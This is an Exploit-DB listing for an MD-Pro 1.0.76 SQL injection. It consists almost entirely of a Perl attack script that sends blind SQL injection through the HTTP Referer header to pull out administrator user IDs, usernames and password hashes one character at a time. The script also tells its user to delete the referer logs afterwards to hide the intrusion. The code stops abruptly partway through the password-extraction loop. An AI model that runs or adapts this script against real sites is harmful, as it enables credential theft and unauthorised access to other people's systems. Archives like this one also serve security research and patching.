Exploit-DB #4467
Description: MD-Pro 1.0.76 - SQL Injection
Type: webapps
Platform: php
Date: 2007-09-29
Author: undefined1_

Exploit:
#!/usr/bin/perl

use strict;
use IO::Socket;

my $app = "MDPro 1.0.76";
my $type = "SQL Injection";
my $author = "undefined1_";
my $settings = "magic_quotes_runtime = off, mysql >= 4.1.0";

$| = 1;
print ":: $app $type - by $author ::\n\n\n";

my $url = shift || usage();

if($url =~ m/^(?:http:\/\/)(.*)/) {
	$url = $1;
}
if($url !~ m/^.*\/$/) {
	$url .= "/";
}

get_md5s($url);
print "don't forget to delete the referers from the admin interface...\n";

sub get_md5s {
	my $url = shift;
	$url .= "index.php"; 
	my $admins_only = shift;
	my $ps = 0;
	my $referer = "Firefox ID=". randstring(20,25);
	
	my $uid_charset = "[PII_REDACTED]";
	my $user_charset = "abcdefghijklmnopqrstuvwxyz-_[PII_REDACTED]ABCDEFGHIJKLMNOPQRSTUVWXYZ][}{+=/\\'\"\@\$#!%^&*()";
	my $pass_charset = "afc[PII_REDACTED]abde";
	
	my $data = "GET " . parse_page($url) . " HTTP/1.1\r\n";
	$data .= "Host: " . parse_host($url) . "\r\n";
	$data .= "Referer: $referer\r\n";
	$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
	$data .= "Connection: close\r\n\r\n";
	my $recv = sendpacket(parse_host($url), parse_port($url), $data);
	$ps++;
	
	$data = "GET " . parse_page($url) . " HTTP/1.1\r\n";
	$data .= "Host: " . parse_host($url) . "\r\n";
	$data .= "Referer: '\r\n";
	$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
	$data .= "Connection: close\r\n\r\n";
	$recv = sendpacket(parse_host($url), parse_port($url), $data);
	$ps++;
	if($recv !~ m/Call to undefined function PN_DBMsgError/m) {
		print "magic quotes = on ;-[\n";
		return $ps;
	}
	
	my $recv;
	my $lastuid = 0;
	while(1) {
		my $uid_length = length("$lastuid");
		my $user_length = 1;
		my $pass_length = 32;
		my $uid = "";
		my $user = "";
		my $pass = "";
		my $O_RLY = 0;

		for(my $x = $uid_length; $x <= 8; $x++) {
			print "\ruid length = $uid_length";
			$data = "GET " . parse_page($url) . " HTTP/1.1\r\n";
			$data .= "Host: " . parse_host($url) . "\r\n";
			$data .= "Referer: $referer' and (select 1 from md_group_membership where length(CONCAT(pn_uid))=$x and pn_uid>$lastuid and pn_gid=2 limit 1 order by pn_uid asc)=1 order by 1 asc/*\r\n";
			$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
			$data .= "Connection: close\r\n\r\n";
			$recv = sendpacket(parse_host($url), parse_port($url), $data);
			$ps++;

			if($recv =~ m/Call to undefined function PN_DBMsgError/m) {
				$uid_length = $x;
				$x = 9;
				$O_RLY = 1;
			}
		}
		
		if($O_RLY == 0) { return $ps; }
		$O_RLY = 0;
		
		print "\ruid length = $uid_length\n";
		
		for(my $i = 1; $i <= $uid_length; $i++) {
			for(my $j = 0; $j < length($uid_charset); $j++) {
				my $key = substr($uid_charset, $j, 1);
				my $hex_key = sprintf("0x%02x", ord($key));
				print "\ruid = $uid$key";
				
				$data = "GET " . parse_page($url) . " HTTP/1.1\r\n";
				$data .= "Host: " . parse_host($url) . "\r\n";
				$data .= "Referer: $referer' and (select 1 from md_group_membership where substring(pn_uid,$i,1)=$hex_key and pn_uid>$lastuid and pn_gid=2 order by pn_uid asc limit 1)=1 order by 1 asc/*\r\n";
				$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
				$data .= "Connection: close\r\n\r\n";
				$recv = sendpacket(parse_host($url), parse_port($url), $data);
				$ps++;				
				
				if($recv =~ m/Call to undefined function PN_DBMsgError/m) {
					$uid .= $key;
					$j = length($uid_charset);				
				}				
			}	
		}
		
		print "\ruid = $uid\n";
			
		for(my $x = $user_length; $x <= 25; $x++) {
			print "\ruser length = $x";
			$data = "GET " . parse_page($url) . " HTTP/1.1\r\n";
			$data .= "Host: " . parse_host($url) . "\r\n";
			$data .= "Referer: $referer' and (select 1 from md_users where length(pn_uname)=$x and pn_uid=$uid limit 1)=1 order by 1 asc/*\r\n";
			$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
			$data .= "Connection: close\r\n\r\n";
			$recv = sendpacket(parse_host($url), parse_port($url), $data);
			$ps++;

			if($recv =~ m/Call to undefined function PN_DBMsgError/m) {
				$user_length = $x;
				$x = 26;
				$O_RLY = 1;
			}
		}
		
		if($O_RLY == 0) { return $ps; }
		$O_RLY = 0;
		
		print "\ruser length = $user_length\n";
		
		for(my $i = 1; $i <= $user_length; $i++) {
			for(my $j = 0; $j < length($user_charset); $j++) {
				my $key = substr($user_charset, $j, 1);
				my $hex_key = sprintf("0x%02x", ord($key));
				print "\ruser = $user$key";
				
				$data = "GET " . parse_page($url) . " HTTP/1.1\r\n";
				$data .= "Host: " . parse_host($url) . "\r\n";
				$data .= "Referer: $referer' and (select 1 from md_users where substring(pn_uname,$i,1)=$hex_key and pn_uid=$uid limit 1)=1 order by 1 asc/*\r\n";
				$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
				$data .= "Connection: close\r\n\r\n";
				$recv = sendpacket(parse_host($url), parse_port($url), $data);
				$ps++;				
				
				if($recv =~ m/Call to undefined function PN_DBMsgError/m) {
					$user .= $key;
					$j = length($user_charset);				
				}				
			}	
		}
				
		print "\ruser = $user\n";
		
		
		
		
		# pour le pass, faire genre un tolower du char direct dans la sql query
		
		for(my $i = 1; $i <= $pass_length; $i++) {
			for(my $j = 0; $j < length($pass_charset); $j++) {
				my $key = substr($pass_charset, $j, 1);
				my $hex_key = sprintf("0x%02x", ord($key));
				print "\r[CREDENTIAL_REDACTED]";
				
				$data = "GET " . parse_page($url) . " HTTP/1.1\r\n";
				$data .= "Host: " . parse_host($url) . "\r\n";
				$data .= "Referer: $referer' and (select 1 fr